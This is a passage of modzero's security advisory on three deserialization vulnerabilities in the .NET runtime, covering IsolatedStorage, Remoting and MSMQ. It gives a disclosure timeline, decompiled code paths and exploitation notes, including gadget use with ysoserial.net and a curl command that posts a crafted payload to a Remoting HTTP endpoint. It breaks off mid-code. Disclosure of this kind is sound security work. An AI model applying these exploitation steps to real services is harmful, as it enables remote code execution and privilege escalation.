</span><span class="lnt">412
</span><span class="lnt">413
</span><span class="lnt">414
</span><span class="lnt">415
</span><span class="lnt">416
</span><span class="lnt">417
</span><span class="lnt">418
</span><span class="lnt">419
</span><span class="lnt">420
</span><span class="lnt">421
</span><span class="lnt">422
</span><span class="lnt">423
</span><span class="lnt">424
</span><span class="lnt">425
</span><span class="lnt">426
</span><span class="lnt">427
</span><span class="lnt">428
</span><span class="lnt">429
</span><span class="lnt">430
</span><span class="lnt">431
</span><span class="lnt">432
</span><span class="lnt">433
</span><span class="lnt">434
</span><span class="lnt">435
</span><span class="lnt">436
</span><span class="lnt">437
</span><span class="lnt">438
</span><span class="lnt">439
</span><span class="lnt">440
</span><span class="lnt">441
</span><span class="lnt">442
</span><span class="lnt">443
</span><span class="lnt">444
</span><span class="lnt">445
</span><span class="lnt">446
</span><span class="lnt">447
</span><span class="lnt">448
</span><span class="lnt">449
</span><span class="lnt">450
</span><span class="lnt">451
</span><span class="lnt">452
</span><span class="lnt">453
</span><span class="lnt">454
</span><span class="lnt">455
</span><span class="lnt">456
</span><span class="lnt">457
</span><span class="lnt">458
</span><span class="lnt">459
</span><span class="lnt">460
</span><span class="lnt">461
</span><span class="lnt">462
</span><span class="lnt">463
</span><span class="lnt">464
</span><span class="lnt">465
</span><span class="lnt">466
</span><span class="lnt">467
</span><span class="lnt">468
</span><span class="lnt">469
</span><span class="lnt">470
</span><span class="lnt">471
</span><span class="lnt">472
</span><span class="lnt">473
</span><span class="lnt">474
</span><span class="lnt">475
</span><span class="lnt">476
</span><span class="lnt">477
</span><span class="lnt">478
</span><span class="lnt">479
</span><span class="lnt">480
</span><span class="lnt">481
</span><span class="lnt">482
</span><span class="lnt">483
</span><span class="lnt">484
</span><span class="lnt">485
</span><span class="lnt">486
</span><span class="lnt">487
</span><span class="lnt">488
</span><span class="lnt">489
</span><span class="lnt">490
</span><span class="lnt">491
</span><span class="lnt">492
</span><span class="lnt">493
</span><span class="lnt">494
</span><span class="lnt">495
</span><span class="lnt">496
</span><span class="lnt">497
</span><span class="lnt">498
</span><span class="lnt">499
</span><span class="lnt">500
</span><span class="lnt">501
</span><span class="lnt">502
</span><span class="lnt">503
</span><span class="lnt">504
</span><span class="lnt">505
</span><span class="lnt">506
</span><span class="lnt">507
</span><span class="lnt">508
</span><span class="lnt">509
</span><span class="lnt">510
</span><span class="lnt">511
</span><span class="lnt">512
</span><span class="lnt">513
</span><span class="lnt">514
</span><span class="lnt">515
</span><span class="lnt">516
</span><span class="lnt">517
</span><span class="lnt">518
</span><span class="lnt">519
</span><span class="lnt">520
</span><span class="lnt">521
</span><span class="lnt">522
</span><span class="lnt">523
</span><span class="lnt">524
</span><span class="lnt">525
</span><span class="lnt">526
</span><span class="lnt">527
</span><span class="lnt">528
</span><span class="lnt">529
</span><span class="lnt">530
</span><span class="lnt">531
</span><span class="lnt">532
</span><span class="lnt">533
</span><span class="lnt">534
</span><span class="lnt">535
</span><span class="lnt">536
</span><span class="lnt">537
</span><span class="lnt">538
</span><span class="lnt">539
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">---------------------------------------------------------------- v5 ---
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">modzero Security Advisory:
</span></span><span class="line"><span class="cl">Multiple deserialization vulnerabilities in the .Net runtime [MZ-20-03]
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">1. Timeline
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 2020-02-14: This  advisory  has been  sent to the Microsoft  security
</span></span><span class="line"><span class="cl">              team (security@microsoft.com).
</span></span><span class="line"><span class="cl">* 2020-02-19: Microsoft  requests  that  the  three  vunerabilities are
</span></span><span class="line"><span class="cl">              resubmitted individually.
</span></span><span class="line"><span class="cl">* 2020-02-19: Vulnerabilities resubmitted individually.
</span></span><span class="line"><span class="cl">* 2020-02-29: Microsoft closes 4.2 as &#34;By Design&#34;.
</span></span><span class="line"><span class="cl">* 2020-03-19: Microsoft accepts 4.1 as a security issue.
</span></span><span class="line"><span class="cl">* 2020-03-19: Microsoft closes 4.3 as &#34;By Design&#34;.
</span></span><span class="line"><span class="cl">* 2020-04-07: Microsoft  informs  modzero of a planned patch release on
</span></span><span class="line"><span class="cl">              June 9th.
</span></span><span class="line"><span class="cl">* 2020-06-02: Microsoft informs modzero that the vulnerability  will be
</span></span><span class="line"><span class="cl">              fixed with documentation only.
</span></span><span class="line"><span class="cl">* 2020-06-08: modzero replies with concerns regarding the proposed fix.
</span></span><span class="line"><span class="cl">* 2020-06-15: Microsoft replies that they will go through with the fix.
</span></span><span class="line"><span class="cl">* 2020-06-16: modzero publishes this disclosure.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2. Summary
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Vendor: Microsoft
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 4.1 Deserialization vulnerability in
</span></span><span class="line"><span class="cl">      IsolatedStorageFileEnumerator::MoveNext via crafted  identity.dat
</span></span><span class="line"><span class="cl">      file leading to arbitrary code execution
</span></span><span class="line"><span class="cl">      modzero: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H -&gt; 8.2
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 4.2 Deserialization vulnerability in
</span></span><span class="line"><span class="cl">      BinaryServerFormatterSink::ProcessMessage
</span></span><span class="line"><span class="cl">      4.2.1 When configured with TypeFilterLevel.Low
</span></span><span class="line"><span class="cl">           Denial of Service
</span></span><span class="line"><span class="cl">           modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H -&gt; 7.5
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      4.2.2 When configured with TypeFilterLevel.Full
</span></span><span class="line"><span class="cl">           Remote code execution
</span></span><span class="line"><span class="cl">           modzero: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H -&gt; 9.0
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 4.3 Deserialization vulnerability in
</span></span><span class="line"><span class="cl">      System.Messaging.Message::get_Body() using a
</span></span><span class="line"><span class="cl">      BinaryMessageFormatter   leading   to   remote   code   execution
</span></span><span class="line"><span class="cl">      modzero: CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H -&gt; 9.0
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">3.0 Introduction
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">modzero identified several critical vulnerabilities in the .Net runtime
</span></span><span class="line"><span class="cl">which  can lead to  denial of service  or remote code execution attacks
</span></span><span class="line"><span class="cl">against services using standard built-in .NET features. A potential for
</span></span><span class="line"><span class="cl">local  privilege  escalation  or persistence  using the IsolatedStorage
</span></span><span class="line"><span class="cl">vulnerability was also found.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Any  software  using  the  vulnerable  .Net  components is  potentially
</span></span><span class="line"><span class="cl">affected.
</span></span><span class="line"><span class="cl">Specifically:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    * Enumeration of IsolatedStorage spaces
</span></span><span class="line"><span class="cl">    * .Net Remoting with binary serialization
</span></span><span class="line"><span class="cl">    * .Net MSMQ with a BinaryMessageFormatter
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">modzero  identified  and  tested the  vulnerabilities to be present in:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">.NET Framework
</span></span><span class="line"><span class="cl">4.8 4.7.2 4.7.1 4.7 4.6.2 4.6.1 4.6 4.5.2 4.5.1 4.5
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Earlier  versions  have not been tested, but are  likely to at least be
</span></span><span class="line"><span class="cl">partially affected as well.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">4. Details
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">4.1 Triggering Deserialization vulnerability in
</span></span><span class="line"><span class="cl">    IsolatedStorageFileEnumerator::MoveNext  via  crafted  identity.dat
</span></span><span class="line"><span class="cl">    file leads to arbitrary code execution
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">An attacker  with write access  to the  identity.dat file can  inject a
</span></span><span class="line"><span class="cl">deserialization payload, which will be  executed when the built-in .NET
</span></span><span class="line"><span class="cl">method   IsolatedStorageFileEnumerator::MoveNext    is   called.   When
</span></span><span class="line"><span class="cl">creating   an    IsolatedStorage   space    in   the    Machine   scope
</span></span><span class="line"><span class="cl">(IsolatedStorageScope.Machine)  its  identity.dat  file  has  read  and
</span></span><span class="line"><span class="cl">write permissions  for the  &#34;Everyone&#34; Windows-Group. An  attacker with
</span></span><span class="line"><span class="cl">access to any account can  create a Machine scope IsolatedStorage space
</span></span><span class="line"><span class="cl">and cause  the vulnerability  to trigger on  the next  enumeration. The
</span></span><span class="line"><span class="cl">enumeration itself  does not  have to  be controlled  or issued  by the
</span></span><span class="line"><span class="cl">attacker  and thus  the  execution  takes place  in  the context  where
</span></span><span class="line"><span class="cl">enumeration occurs.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">When    using    an    IsolatedStorageFileEnumerator    to    enumerate
</span></span><span class="line"><span class="cl">IsolatedStorage spaces, the  MoveNext method will read  the contents of
</span></span><span class="line"><span class="cl">each  space&#39;s  identity.dat  file  and  deserialize  them  without  any
</span></span><span class="line"><span class="cl">security features enabled. The identity.dat  files in the Machine scope
</span></span><span class="line"><span class="cl">have  read/write  permissions   for  the  Everyone  group   and  a  low
</span></span><span class="line"><span class="cl">privileged user  can craft an  identity.dat file to execute  a standard
</span></span><span class="line"><span class="cl">deserialization attack when another user enumerates storage spaces.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">This for example affects the storeadm.exe tool.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The  following  code  snippets  demonstrate   how  the  data  from  the
</span></span><span class="line"><span class="cl">identity.dat  file is  passed directly  into a  BinaryFormatter without
</span></span><span class="line"><span class="cl">further sanitization or any security measures.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">IsolatedStorageFileEnumerator::MoveNext calls
</span></span><span class="line"><span class="cl">this.GetIDStream(twoPaths.Path1,  out  stream)  to  retrieve  the  file
</span></span><span class="line"><span class="cl">contents of  the associated  identity.dat file of  each IsolatedStorage
</span></span><span class="line"><span class="cl">space into a stream variable.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    public bool MoveNext()
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      while (this.m_fileEnum.MoveNext())
</span></span><span class="line"><span class="cl">      {
</span></span><span class="line"><span class="cl">        [...]
</span></span><span class="line"><span class="cl">        if (flag)
</span></span><span class="line"><span class="cl">        {
</span></span><span class="line"><span class="cl">          if (!this.GetIDStream(twoPaths.Path1, out stream) || !this.GetIDStream(twoPaths.Path1 + &#34;\\&#34; + twoPaths.Path2, out stream2))
</span></span><span class="line"><span class="cl">          [...]
</span></span><span class="line"><span class="cl">        }
</span></span><span class="line"><span class="cl">        else if (IsolatedStorageFile.NotAppFilesDir(twoPaths.Path2))
</span></span><span class="line"><span class="cl">        {
</span></span><span class="line"><span class="cl">          if (!this.GetIDStream(twoPaths.Path1, out stream2))
</span></span><span class="line"><span class="cl">          [...]
</span></span><span class="line"><span class="cl">          stream2.Position = 0L;
</span></span><span class="line"><span class="cl">        }
</span></span><span class="line"><span class="cl">        else
</span></span><span class="line"><span class="cl">        {
</span></span><span class="line"><span class="cl">          if (!this.GetIDStream(twoPaths.Path1, out stream3))
</span></span><span class="line"><span class="cl">          [...]
</span></span><span class="line"><span class="cl">          stream3.Position = 0L;
</span></span><span class="line"><span class="cl">        }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The  previously   populated  stream  variable  holding   the  possibliy
</span></span><span class="line"><span class="cl">malicious identity.dat file&#39;s  content is passed to an  overload of the
</span></span><span class="line"><span class="cl">InitStore method as documented in the followind code section.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    if (isolatedStorageFile.InitStore(scope, stream, stream2, stream3, domainName, assemName, appName) &amp;&amp; isolatedStorageFile.InitExistingStore(scope))
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      this.m_Current = isolatedStorageFile;
</span></span><span class="line"><span class="cl">      return true;
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The InitStore method then passes  the MemoryStream of the file contents
</span></span><span class="line"><span class="cl">into a BinaryFormatter without enabling any security features on it.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    internal bool InitStore(IsolatedStorageScope scope, Stream domain, Stream assem, Stream app, string domainName, string assemName, string appName)
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      BinaryFormatter binaryFormatter = new BinaryFormatter();
</span></span><span class="line"><span class="cl">      [...]
</span></span><span class="line"><span class="cl">        this.m_AppIdentity = binaryFormatter.Deserialize(app);
</span></span><span class="line"><span class="cl">      [...]
</span></span><span class="line"><span class="cl">        this.m_AssemIdentity = binaryFormatter.Deserialize(assem);
</span></span><span class="line"><span class="cl">      [...]
</span></span><span class="line"><span class="cl">          this.m_DomainIdentity = binaryFormatter.Deserialize(domain);
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">This  allows   execution  of  arbitrary  code   by  utilizing  standard
</span></span><span class="line"><span class="cl">BinaryFormatter deserialization  gadgets; payloads  can for  example be
</span></span><span class="line"><span class="cl">generated using the ysoserial.net tool.  This can be used for privilege
</span></span><span class="line"><span class="cl">escalation, especially since enumeration  of isolated storage spaces is
</span></span><span class="line"><span class="cl">typically only performed during administrative tasks.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">When creating an IsolatedStorage space scoped  to a user with a roaming
</span></span><span class="line"><span class="cl">profile,   the  modified   identity.dat  file   may  be   automatically
</span></span><span class="line"><span class="cl">transferred  across  an Active  Directory  network.  In this  case  the
</span></span><span class="line"><span class="cl">vulnerability  may  spread across  the  network  if an  enumeration  of
</span></span><span class="line"><span class="cl">storage  spaces  is  regularly  performed. A  transferred  payload  can
</span></span><span class="line"><span class="cl">infect another computers  Machine scope which can in  turn infect other
</span></span><span class="line"><span class="cl">users and their roaming scope.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">4.2 Deserialization vulnerability in
</span></span><span class="line"><span class="cl">    BinaryServerFormatterSink::ProcessMessage   leading  to  Denial  of
</span></span><span class="line"><span class="cl">    Service (DoS)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">By sending  a crafted message  to a .Net  remoting channel a  denial of
</span></span><span class="line"><span class="cl">service or remote  code execution can be triggered if  the channel uses
</span></span><span class="line"><span class="cl">a  BinaryServerFormatterSink in  its SinkChain,  which it  does in  the
</span></span><span class="line"><span class="cl">default  configuation.  Wether or  not  the  DoS  or RCE  will  trigger
</span></span><span class="line"><span class="cl">depends  on what  the  BinaryServerFormatterSink&#39;s TypeFilterLevel  has
</span></span><span class="line"><span class="cl">been set to.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The default  is Low, in  which case only the  Denial of Service  can be
</span></span><span class="line"><span class="cl">triggered. If  it has been set  to Full instead, remote  code execution
</span></span><span class="line"><span class="cl">can be performed.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">When  using Remoting  in .Net  the incoming  and outgoing  messages are
</span></span><span class="line"><span class="cl">processed by SinkChains, which are  essentially a linked list of sinks.
</span></span><span class="line"><span class="cl">These sinks  are passed the  current data, perform some  processing and
</span></span><span class="line"><span class="cl">pass the updated data on to  the next chain for further processing. One
</span></span><span class="line"><span class="cl">of  these  sinks  is   the  BinaryServerFormatterSink  which  processes
</span></span><span class="line"><span class="cl">incoming messages which have been serialized to a binary format.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">When an incoming  message is received, ProcessMessage is  called on the
</span></span><span class="line"><span class="cl">BinaryServerFormatterSink  instance, the  requestStream that  is passed
</span></span><span class="line"><span class="cl">to it contains the serialized message  that the sink is ment to decode.
</span></span><span class="line"><span class="cl">If  the TypeFilterLevel  property of  the BinaryFormatterSink  has been
</span></span><span class="line"><span class="cl">set to  Low it  will restrict  the security context  to only  grant the
</span></span><span class="line"><span class="cl">SerializationFormatter permission.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">If the  TypeFilterLevel is set to Full,  the  security context won&#39;t be
</span></span><span class="line"><span class="cl">restricted.
</span></span><span class="line"><span class="cl">(https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.typefilterlevel?view=netframework-4.8)
</span></span><span class="line"><span class="cl">Afterwards  it  will  call  CoreChannel.DeserializeBinaryRequestMessage
</span></span><span class="line"><span class="cl">with the requestStream it has been called with.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    if (this.TypeFilterLevel != TypeFilterLevel.Full)
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      permissionSet = new PermissionSet(PermissionState.None);
</span></span><span class="line"><span class="cl">      permissionSet.SetPermission(new SecurityPermission(SecurityPermissionFlag.SerializationFormatter));
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">    try
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      if (permissionSet != null)
</span></span><span class="line"><span class="cl">      {
</span></span><span class="line"><span class="cl">        permissionSet.PermitOnly();
</span></span><span class="line"><span class="cl">      }
</span></span><span class="line"><span class="cl">      requestMsg = CoreChannel.DeserializeBinaryRequestMessage(text5, requestStream, this._strictBinding, this.TypeFilterLevel);
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">    finally
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      if (permissionSet != null)
</span></span><span class="line"><span class="cl">      {
</span></span><span class="line"><span class="cl">        CodeAccessPermission.RevertPermitOnly();
</span></span><span class="line"><span class="cl">      }
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">CoreChannel.DeserializeBinaryRequestMessage    then    initializes    a
</span></span><span class="line"><span class="cl">BinaryFormatter   and   sets   its   FilterLevel   according   to   the
</span></span><span class="line"><span class="cl">BinaryServerFormatterSink&#39;s.  It then  calls  UnsafeDeserialize on  the
</span></span><span class="line"><span class="cl">BinaryFormatter.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    internal static IMessage DeserializeBinaryRequestMessage(string objectUri, Stream inputStream, bool bStrictBinding, TypeFilterLevel securityLevel)
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      BinaryFormatter binaryFormatter = CoreChannel.CreateBinaryFormatter(false, bStrictBinding);
</span></span><span class="line"><span class="cl">      binaryFormatter.FilterLevel = securityLevel;
</span></span><span class="line"><span class="cl">      CoreChannel.UriHeaderHandler @object = new CoreChannel.UriHeaderHandler(objectUri);
</span></span><span class="line"><span class="cl">      return (IMessage)binaryFormatter.UnsafeDeserialize(inputStream, new HeaderHandler(@object.HeaderHandler));
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The UnsafeDeserialize call then gets  passed down to a Deserialize call
</span></span><span class="line"><span class="cl">which   instantiates    an   ObjectReader   with    the   corresponding
</span></span><span class="line"><span class="cl">TypeFilterLevel.  It then  calls ObjectReader::Deserialize  on the  new
</span></span><span class="line"><span class="cl">ObjectReader instance.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    internal object Deserialize(Stream serializationStream, HeaderHandler handler, bool fCheck, bool isCrossAppDomain, IMethodCallMessage methodCallMessage)
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      [...]
</span></span><span class="line"><span class="cl">      internalFE.FEsecurityLevel = this.m_securityLevel;
</span></span><span class="line"><span class="cl">      ObjectReader objectReader = new ObjectReader(serializationStream, this.m_surrogates, this.m_context, internalFE, this.m_binder);
</span></span><span class="line"><span class="cl">      objectReader.crossAppDomainArray = this.m_crossAppDomainArray;
</span></span><span class="line"><span class="cl">      return objectReader.Deserialize(handler, new __BinaryParser(serializationStream, objectReader), fCheck, isCrossAppDomain, methodCallMessage);
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">ObjectReader::Deserialize    then    performs   the    deserialization.
</span></span><span class="line"><span class="cl">Additional security checks are performed if IsRemoting is true.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    internal void CheckSecurity(ParseRecord pr)
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      Type prdtType = pr.PRdtType;
</span></span><span class="line"><span class="cl">      if (prdtType != null &amp;&amp; this.IsRemoting)
</span></span><span class="line"><span class="cl">      {
</span></span><span class="line"><span class="cl">        [...]
</span></span><span class="line"><span class="cl">        FormatterServices.CheckTypeSecurity(prdtType, this.formatterEnums.FEsecurityLevel);
</span></span><span class="line"><span class="cl">      }
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">IsRemoting  is  true if either  bMethodCall or  bMethodReturn  is true.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    private bool IsRemoting
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      get
</span></span><span class="line"><span class="cl">      {
</span></span><span class="line"><span class="cl">        return this.bMethodCall || this.bMethodReturn;
</span></span><span class="line"><span class="cl">      }
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">These two values  (bMethodCall and bMethodReturn) are only  set to true
</span></span><span class="line"><span class="cl">by the SetMethodCall and SetMethodReturn methods respectively.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    internal void SetMethodCall(BinaryMethodCall binaryMethodCall)
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      this.bMethodCall = true;
</span></span><span class="line"><span class="cl">      this.binaryMethodCall = binaryMethodCall;
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    internal void SetMethodReturn(BinaryMethodReturn binaryMethodReturn)
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      this.bMethodReturn = true;
</span></span><span class="line"><span class="cl">      this.binaryMethodReturn = binaryMethodReturn;
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Those         two        methods         are        only         called
</span></span><span class="line"><span class="cl">from__BinaryParser::ReadMethodObject,   which  is   only  called   from
</span></span><span class="line"><span class="cl">__BinaryParser::Run
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    case BinaryHeaderEnum.MethodCall:
</span></span><span class="line"><span class="cl">    case BinaryHeaderEnum.MethodReturn:
</span></span><span class="line"><span class="cl">      this.ReadMethodObject(binaryHeaderEnum);
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Therefore additional security checks are  only performed if an IMessage
</span></span><span class="line"><span class="cl">is being deserialized.  An attacker can bypass  the additional security
</span></span><span class="line"><span class="cl">checks  by  submitting  a  crafted  stream of  data  that  contains  no
</span></span><span class="line"><span class="cl">IMessage object and triggers execution of deserialization gadgets.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Using   the   standard   TypeConfuseDelegate    gadget,   a   call   to
</span></span><span class="line"><span class="cl">System.Diagnostics.Process::Start(string,string) can be performed.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">In the  case of TypeFilterLevel  being set to  Low (4.2.1) the  call to
</span></span><span class="line"><span class="cl">Process.Start  then causes  an  uncaught  SecurityException, since  the
</span></span><span class="line"><span class="cl">security   context    is   restricted.   The   exception    occurs   in
</span></span><span class="line"><span class="cl">System.Diagnostics.ShellExecuteHelper::ShellExecuteFunction     in    a
</span></span><span class="line"><span class="cl">separate                thread                spawned                by
</span></span><span class="line"><span class="cl">System.Diagnostics.ShellExecuteHelper::ShellExecuteOnSTAThread.     The
</span></span><span class="line"><span class="cl">uncaught exception  then causes termination  of the process  leading to
</span></span><span class="line"><span class="cl">Denial of Service.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">In the  case of TypeFilterLevel being  set to Full (4.2.2)  the call to
</span></span><span class="line"><span class="cl">Process.Start passes all security checks  and a new process is started.
</span></span><span class="line"><span class="cl">In this  case arbitrary code  can be executed  remotely as long  as the
</span></span><span class="line"><span class="cl">channel is accessible.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Because there are no restrictions  imposed on the deserialization, when
</span></span><span class="line"><span class="cl">using  an HTTP  channel 4.2.2  can also  be exploited  by generating  a
</span></span><span class="line"><span class="cl">payload file  with the  ysoserial.net tool  and a  curl request  of the
</span></span><span class="line"><span class="cl">form:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    curl -X POST -H &#34;Content-Type: application/octet-stream&#34; --data-binary &#34;@payload&#34; http://serveraddress/Service
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">4.3 Deserialization vulnerability in
</span></span><span class="line"><span class="cl">    System.Messaging.Message::get_Body() using a BinaryMessageFormatter
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">When  using  Microsoft  Message  Queueing (MSMQ)  with  .Net,  messages
</span></span><span class="line"><span class="cl">retrieved  from the  Queue are  processed into  a Message  object. This
</span></span><span class="line"><span class="cl">object  contains an  IMessageFormatter property  and in  the case  of a
</span></span><span class="line"><span class="cl">retrieved  messageit contains  a BodyStream  that holds  the serialized
</span></span><span class="line"><span class="cl">body of  the message.  This BodyStream is  not parsed  immediately, but
</span></span><span class="line"><span class="cl">will instead be  deserialized only when the Body&#39;s  getter is accessed.
</span></span><span class="line"><span class="cl">The getter then calls  Formatter.Read on its IMessageFormatter instance
</span></span><span class="line"><span class="cl">to create the actual Body object.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    public object Body
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      get
</span></span><span class="line"><span class="cl">      {
</span></span><span class="line"><span class="cl">        if (this.filter.Body)
</span></span><span class="line"><span class="cl">        {
</span></span><span class="line"><span class="cl">          if (this.cachedBodyObject == null)
</span></span><span class="line"><span class="cl">          {
</span></span><span class="line"><span class="cl">            [...]
</span></span><span class="line"><span class="cl">            this.cachedBodyObject = this.Formatter.Read(this);
</span></span><span class="line"><span class="cl">          }
</span></span><span class="line"><span class="cl">          return this.cachedBodyObject;
</span></span><span class="line"><span class="cl">        }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">If the  IMessageFormatter is a BinaryMessageFormatter,  its Read method
</span></span><span class="line"><span class="cl">checks    if   the    BodyType   is    compatible   and    then   calls
</span></span><span class="line"><span class="cl">BinaryFormatter::Deserialize  on  a  default  BinaryFormatter  instance
</span></span><span class="line"><span class="cl">with no additional security features enabled.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    public BinaryMessageFormatter()
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      this.formatter = new BinaryFormatter();
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    public object Read(Message message)
</span></span><span class="line"><span class="cl">    {
